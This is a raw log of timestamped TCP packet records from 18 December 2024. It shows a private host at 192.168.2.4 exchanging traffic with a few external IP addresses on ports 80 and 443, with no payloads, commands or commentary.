Dec 18, 2024 17:08:35.591932058 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.593352079 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.593360901 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.593441010 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.595096111 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.595104933 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.595112085 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.595186949 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.596463919 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.596473932 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.596549034 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.597965002 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.598006010 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.598069906 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.599522114 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.599538088 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.599586964 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.599618912 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.601047993 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.601057053 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.601098061 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.602572918 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.602583885 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.602597952 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.602643013 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.604348898 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.604357958 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.604407072 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.605669022 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.605679035 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.605726957 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.607186079 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.607196093 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.607239008 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.608726978 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.608736038 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.608750105 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.608792067 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.608808041 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.610234976 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.610244989 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.610292912 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.611812115 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.611828089 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.611867905 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.613428116 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.613437891 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.613492012 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.614965916 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.614983082 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.615012884 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.615048885 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.616372108 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.616389990 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.616398096 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.616444111 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.617912054 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.617919922 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.617964029 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.617993116 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.619430065 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.619438887 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.619486094 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.620965958 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.620974064 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.621025085 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.622467995 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.622477055 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.622483969 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.622525930 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.622539043 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.624244928 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.624253988 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.624317884 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.625816107 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.625823975 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.625869989 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.627160072 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.627204895 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.627254963 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.628771067 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.628787041 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.628822088 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.628858089 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.630209923 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.630218983 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.630234003 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.630275011 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.630304098 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.631740093 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.631750107 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.631803989 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.633220911 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.633230925 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.633285999 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.761061907 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.761168003 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.761317968 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.761392117 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.762047052 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.762070894 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.762096882 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.762114048 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.763470888 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.763526917 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.764125109 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.764132977 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.764175892 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.765525103 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.765595913 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.766232967 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.766242027 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.766290903 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.768002033 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.768011093 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.768066883 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.769156933 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.769176006 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.769207954 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.769234896 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.770963907 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.770972967 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.771023989 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.772212029 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.772226095 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.772260904 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.772275925 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.773914099 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.773924112 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.773931026 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.773962021 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.773996115 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.775234938 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.775244951 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.775290012 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.776918888 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.776945114 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.776976109 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.776988983 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.778357029 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.778377056 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.778428078 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.779963970 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.779974937 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.779989958 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.780024052 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.781486034 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.781495094 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.781611919 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.783008099 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.783016920 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.783061028 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.785120964 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.785188913 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.785295010 CET	443	49801	172.67.131.246	192.168.2.4
Dec 18, 2024 17:08:35.785387039 CET	443	49801	172.67.131.246	192.168.2.4
Dec 18, 2024 17:08:35.785497904 CET	49801	443	192.168.2.4	172.67.131.246
Dec 18, 2024 17:08:35.785526037 CET	49801	443	192.168.2.4	172.67.131.246
Dec 18, 2024 17:08:35.786098957 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.786115885 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.786178112 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.787501097 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.787509918 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.787560940 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.789009094 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.789035082 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.789077044 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.789089918 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.790596008 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.790606022 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.790621042 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.790666103 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.792066097 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.792085886 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.792125940 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.792140961 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.793736935 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.793768883 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.793786049 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.793812990 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.795397043 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.795406103 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.795466900 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.797022104 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.797032118 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.797039986 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.797090054 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.797120094 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.798553944 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.798569918 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.798609972 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.800013065 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.800023079 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.800086021 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.801420927 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.801430941 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.801486015 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.803047895 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.803059101 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.803116083 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.804661989 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.804672003 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.804680109 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.804717064 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.804744005 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.805917025 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.805926085 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.805963039 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.807439089 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.807447910 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.807513952 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.809122086 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.809140921 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.809190035 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.809206009 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.810674906 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.810683966 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.810723066 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.810735941 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.812030077 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.812040091 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.812047958 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.812103033 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.813664913 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.813673973 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.813711882 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.815145016 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.815176010 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.815197945 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.815232038 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.816637039 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.816647053 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.816692114 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.818181038 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.818190098 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.818207026 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.818243980 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.818269968 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.819830894 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.819840908 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.819876909 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.821577072 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.821587086 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.821635962 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.823322058 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.823333979 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.823375940 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.824743032 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.824753046 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.824800968 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.826291084 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.826308012 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.826314926 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.826350927 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.826391935 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.827785969 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.827795982 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.827850103 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.829330921 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.829346895 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.829386950 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.829401016 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.830672979 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.830689907 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.830725908 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.831986904 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.832004070 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.832011938 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.832043886 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.832072973 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.833606958 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.833652973 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.833659887 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.833677053 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.833702087 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.862351894 CET	49808	443	192.168.2.4	172.67.131.246
Dec 18, 2024 17:08:35.862391949 CET	443	49808	172.67.131.246	192.168.2.4
Dec 18, 2024 17:08:35.862530947 CET	49808	443	192.168.2.4	172.67.131.246
Dec 18, 2024 17:08:35.863022089 CET	49808	443	192.168.2.4	172.67.131.246
Dec 18, 2024 17:08:35.863039017 CET	443	49808	172.67.131.246	192.168.2.4
Dec 18, 2024 17:08:35.953111887 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.953205109 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.953522921 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.953663111 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.954297066 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.954308033 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.954356909 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.955404043 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.955420017 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.955456018 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.955470085 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.956864119 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.956872940 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.956933022 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.958064079 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.958082914 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.958127975 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.959769964 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.959779978 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.959830046 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.961004972 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.961010933 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.961052895 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.961076021 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.962541103 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.962548971 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.962599039 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.964154005 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.964163065 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.964240074 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.965809107 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.965818882 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.965874910 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.967415094 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.967423916 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.967430115 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.967462063 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.967500925 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.968657017 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.968686104 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.968713999 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.968732119 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.970297098 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.970305920 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.970352888 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.971848011 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.971863985 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.971872091 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:35.971903086 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:35.971915960 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:36.640360117 CET	49811	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:36.763565063 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:36.763695955 CET	49811	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:36.764743090 CET	49811	80	192.168.2.4	185.185.71.170
Dec 18, 2024 17:08:36.885200024 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:36.885308981 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:36.885349035 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:36.885365009 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:36.885381937 CET	80	49811	185.185.71.170	192.168.2.4
Dec 18, 2024 17:08:36.885457039 CET	49811	80	192.168.2.4	185.185.71.170
